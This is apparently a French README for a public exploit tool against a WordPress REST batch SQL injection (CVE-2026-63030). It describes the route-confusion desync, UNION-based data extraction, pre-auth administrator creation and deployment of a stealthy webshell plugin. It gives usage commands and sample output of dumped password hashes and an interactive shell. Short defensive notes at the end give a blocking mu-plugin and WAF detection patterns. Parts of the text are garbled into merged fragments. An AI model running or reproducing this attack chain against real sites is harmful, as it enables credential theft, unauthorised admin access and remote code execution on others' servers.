
CVE-2026-63030 - Preuve de concept d'injection SQL par confusion de route dans le batch REST de WordPress
Preuve de concept — Injection SQL par confusion de routes dans le lot REST de WordPress (CVE-2026-63030)
Recherche, développement de l’exploit et documentation par Ch4120N
Ce dépôt et l’outil qui l’accompagne (exploit.py) sont destinés strictement à des fins éducatives, à des tests d’intrusion autorisés et à la recherche en sécurité.
Utiliser cet exploit contre des cibles sans autorisation préalable, expresse et écrite est illégal et enfreint les lois sur la fraude et les abus informatiques dans le monde entier. L’auteur (Ch4120N) décline toute responsabilité en cas d’utilisation abusive, de dommages ou de conséquences juridiques découlant de l’utilisation de ce code. Agissez toujours dans le respect de la loi et obtenez les autorisations appropriées.
CVE-2026-63030 est une vulnérabilité critique, non authentifiée, affectant l’API REST de WordPress. Elle exploite un bug de confusion de routes dans le point de terminaison de traitement par lot imbriqué (/wp-json/batch/v1 ou /?rest_route=/batch/v1).
Lorsque WordPress traite un lot de requêtes API REST, il valide chaque sous-requête par rapport à son schéma spécifique avant exécution. Cependant, en raison d’une faille dans la façon dont le pointeur de routage interne gère des chemins délibérément malformés (par exemple ///), le schéma de validation se désynchronise du gestionnaire d’exécution réel.
/wp/v2/users (qui n’accepte pas author_exclude) est exécutée par le gestionnaire /wp/v2/posts. Le paramètre non assaini author_exclude est transmis directement dans la clause author__not_in de WP_Query, ce qui entraîne une injection SQL non authentifiée.oembed_cache. L’exploit utilise ensuite une charge utile changeset du Customizer pour empoisonner le cache du menu de navigation, trompant WordPress afin qu’il exécute une requête de création d’utilisateur dans le contexte d’un administrateur existant.pip install requis.exploit.py).WP_Post (1 requête par valeur).EXTRACTVALUE() si WP_DEBUG_DISPLAY est activé.cd).Aucun paquet tiers n’est requis. Assurez-vous de disposer de Python 3.8 ou supérieur.
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
L’exploit est divisé en trois sous-commandes principales : check, read et shell.
Ces options s’appliquent à toutes les sous-commandes :
| Option | Description | Défaut |
|---|---|---|
url | URL de base de la cible (p. ex. http://target.com) | Requis |
--rest-route | Utiliser /?rest_route=/batch/v1 au lieu de /wp-json/batch/v1 (pour les sites avec permaliens désactivés). | False |
--timeout | Délai d’expiration des requêtes HTTP en secondes. | 30.0 |
--proxy | Proxy HTTP/HTTPS (p. ex. http://127.0.0.1:8080). | None |
check — Détection de vulnérabilitéSonde la cible en toute sécurité pour confirmer la présence des marqueurs de confusion de routes et teste la temporisation de l’injection SQL sans extraire de données.
| Option | Description | Défaut |
|---|---|---|
--sleep | Délai de temporisation SQL (secondes) utilisé par le repli --confirm-sqli. | 3.0 |
--samples | Nombre de paires de temporisation SQL de référence/retardées à tester. | 3 |
--confirm-sqli | Envoyer une charge utile active de confirmation d’injection SQL (ajoute un léger délai). | False |
read — Extraction de base de donnéesExtrait directement les données de la base de données via l’injection SQL.
| Option | Description | Défaut |
|---|---|---|
--preset | Préréglages d’extraction rapide : fingerprint (version/utilisateur/base) ou users (identifiants/hachages). | fingerprint |
--query | Exécuter une expression SQL scalaire personnalisée (p. ex. "SELECT @@version"). | None |
--prefix | Préfixe des tables de la base de données. | wp_ |
--max-length | Nombre maximal de caractères à extraire par valeur. | 128 |
--technique | Technique d’extraction : auto, union, error ou blind. | auto |
shell — Exécution de code à distanceDéploie le webshell et exécute des commandes. Si aucun identifiant n’est fourni, il déclenche automatiquement le pont de création d’administrateur pré-authentification.
| Option | Description | Défaut |
|---|---|---|
--user | Nom d’utilisateur administrateur. (Omettez pour utiliser le pont pré-authentification). | None |
--password | Mot de passe administrateur. (Omettez pour utiliser le pont pré-authentification). | None |
--cmd | Commande unique à exécuter sur la cible. | None |
-i, --interactive | Ouvrir un shell interactif (REPL) après le déploiement. | False |
Voici des exemples concrets de l’outil en action.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
Remarquez comment l’outil crée automatiquement un compte administrateur, déploie le shell et nettoie après la sortie.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
Le cœur de l’exploit repose sur l’injection de _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Cette URL invalide force le routage interne de WordPress à générer une WP_Error pour la première sous-requête. Cela décale le pointeur interne, ce qui fait que la deuxième sous-requête est validée selon un schéma, mais exécutée par le gestionnaire de la troisième sous-requête. Cela fait passer clandestinement le paramètre author_exclude dans le WP_Query.
Plutôt qu’une injection SQL aveugle lente, l’outil utilise un UNION SELECT pour injecter une ligne wp_posts factice et entièrement formée. En définissant orderby=none et per_page=500, il empêche WP_Query de fractionner la requête. Le post_title injecté contient le résultat codé en hexadécimal de l’expression SQL cible, entouré de délimiteurs ||, qui est reflété directement dans la réponse JSON de l’API REST.
Le plugin PHP déployé est conçu pour une discrétion maximale :
wp_a1b2c3d4.php).t) et une commande (c) via les paramètres GET.hash_equals() pour prévenir les attaques temporelles sur le jeton.chdir) pour empêcher la divulgation du chemin.EXPLOIT::...::END pour un analyse propre par le client Python.mu-plugins) :
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
/batch/v1 imbriquées contenant author_exclude dans l’URI.UNION, SLEEP() ou EXTRACTVALUE dans les paramètres d’URL./// dans les requêtes API REST.WP_DEBUG_DISPLAY est défini sur false dans wp-config.php pour empêcher les fuites d’injection SQL basées sur les erreurs.changeset.« Un grand pouvoir implique de grandes responsabilités. Utilisez cette connaissance pour défendre, non pour détruire. »
— Ch4120N